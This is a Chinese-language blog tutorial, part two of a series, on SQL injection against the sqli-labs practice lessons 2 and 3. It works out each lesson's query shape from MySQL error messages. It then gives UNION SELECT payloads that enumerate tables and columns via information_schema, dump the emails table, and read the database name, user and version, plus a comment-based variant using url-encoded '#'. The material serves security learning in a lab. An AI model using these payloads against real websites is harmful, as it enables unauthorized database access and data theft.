sql注入那些事儿——如何优雅地进行SQL注入(2)
传送门:sql注入那些事儿——如何优雅地进行SQL注入(1)
如果有人问我,如果看了“sql注入那些事儿——如何优雅地进行SQL注入(1)“,那么我们现在离学会sql注入还有多远,我可以很负责任地告诉你,只剩50%了。为什么?因为良好的开始是成功的一半。建议童鞋们从“sql注入那些事儿——如何优雅地进行SQL注入(1)“看起,如果不想看,那么也没关系,这里我就多重复一次,毕竟知识还需要重复来巩固的。之前我们以sqli-labs中的lesson 1为基础,这里我们就说说lesson 2和lesson 3。
正式开始:
lesson 2:
首先我们还是先进入lesson 2的页面看一下页面长得帅不帅。
图片.png
不看不知道,一看吓一跳。这不就是之前的页面吗?除了页面url不一样,其他还有什么差。有些童鞋看到这里就明白了,说:“这说明不还是之前的套路吗?Sunny你不用多说了,我都知道了。“
图片.png
输入lesson 1的参数,按回车,很好很完美。出现了报错页面,嗯,还是之前一样的基于错误类型的。咦,不对,这个错误好像和之前的报错不一样?
lesson 2的报错:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1
lesson 1的报错:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
粗略看去,两个错误好像差不多啊。但是世界上最怕的就是仔细二字,仔细一看错误内容,一个是
' LIMIT 0,1
另外一个是
'1'' LIMIT 0,1
这差别好像有点大,但是没关系,我们还是开动自己的小脑筋,发挥一下想象力,今天这个lesson 2的语句的庐山真面目是怎么样的呢?别急,我们慢慢分析,报错中我们输入的1没有包括在里面,这说明1前面的语句部分都是正确的?而我们多输入了一个引号导致了错误?经过我们的合理猜测,那么语句应该是:
select [column...] from [table_name] where id=[param] limit 0,1;
貌似这比lesson 1还简单,没有单引号的干扰,我们都不需要做单引号闭合了。
所以接下来一套就是昨天的套路了。先根据order by可以来判断字段数,这里我们换一种方式。利用union select来判断字段数。
构造语句:
select [column...] from [table_name] where id=1 union select 1 limit 0,1;
结果不出意外,很明显不是一个字段。
图片.png
多次尝试,尝试到三个字段的时候,成功查询出来,说明就是三个字段,和昨天的结果也符合。
图片.png
然后我们根据我们来查询我们当前数据库下有哪些表。这里需要用到上一篇中提到的information_schema数据库中的tables表和columns表来分别查询表名和字段,同时因为查询字段数目有限,我们需要用到字符串拼接函数concat_ws和结果拼接函数group_concat。
我们先来查询有哪些表。和上一篇的情况一样,因为用到union _select,而界面上只显示一条记录,所以这里也是需要令id=13(因为id=13为空结果),才能使union select的结果显示在界面上。构造语句:
select [column...] from [table_name] where id=13 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() limit 0,1;
然后我们就得到了当前数据库下的所有表名。
图片.png
下一步,我们要得到表的字段名,上一篇我们以users表为例子,这一次我们就以emails表为例子,构造语句:
select [column...] from [table_name] where id=13 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1;
结果发现emails表中就只有两个字段:
图片.png
那我们现在就赶紧查出email表中的记录吧!
select [column...] from [table_name] where id=13 union select 1,group_concat(id),group_concat(email_id) from emails limit 0,1;
图片.png
很好,简直完美!我们已经成功地又把上一篇的内容复习了一遍。
但是为什么觉得这一篇的挑战比上一篇还简单呢?不行!一点都不过瘾,今天再加一个lesson 3。
lesson 3
有了前面的教训,我们还是一样,从错误开始,看看这次能不能搞出什么幺蛾子,要说运气还真好,和lesson 1一样的参数进去,真的还就有报错信息了。
图片.png
仔细观察这次的报错信息,这才是这次的重点!
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1
还是老规矩,我们拿出错误的sql代码段:
'1'') LIMIT 0,1
这次的报错很奇怪,里面还有一个括号,这说明啥?还能说明啥,语句中就有括号呗。这个sql语句还是单引号配括号的节奏,是真的厉害!
那么我们合理猜测语句:
select [column...] from [table_name] where id=('[param]') limit 0,1;
语句一猜出来,这个数据库对我们已经没有秘密可言,利用lesson 1中的一系列过程,很轻松就可以得出信息。比如我要获取,当前数据库名、当前用户和mysql版本信息,可以构造语句:
select [column...] from [table_name] where id=('13') union select 1,2,concat_ws(':',database(),user(),version()) order by 1,('1') limit 0,1;
图片.png
老是用一种方法,你们没有用烦,我都说烦了。sql注入就是百家争鸣的感觉,方法绝对绝对不唯一,只要你有一定的sql功底,又有足够的创造力,绝对能有新的方法。这里我们就说另外一种常用方法,就是注释的方法,不用之前提到的闭合的方法。说到注释,我们先提一下mysql中的注释方式。
大家应该都大概了解吧。
第一种:
select [column...] from [table_name]; #this is comment
第二种:
select [column...] from [table_name]; -- this is comment
第三种(多行注释):
select [column...] from [table_name]; /* this is comment*/
这里显然无法用到多行注释,只能用到第一种和第二种注释方法,这里我们以第一种注释方法为例,也是查找当前数据库、当前用户和mysql版本:
select [column...] from [table_name] where id=('13') union select 1,2,concat_ws(':',database(),user(),version()); #') limit 0,1;
图片.png
竟然报错了!先不用担心,我们仔细检查一遍我们构造的语句,发现并没有问题,那么究竟是什么地方出了问题呢?熟悉url的童鞋可能就想到了,我们在写url的时候需要将一些特殊字符进行urlencode,那么究竟有哪些特殊字符呢?很不幸,反正#是其中一个,所以我们人工对#进行urlencode得到%23。这次终于得到了我们想要的结果:
图片.png
想要查找某些表所有记录信息的童鞋可以利用lesson 1中或者lesson 2中的方法自己尝试一下,套路基本相同。
至此,我们的sql注入教程第二课就到这里了。童鞋们如果有疑问或者想和我交流的话有两种方式:
第一种
评论留言
第二种
邮箱联系:zsunny@yeah.net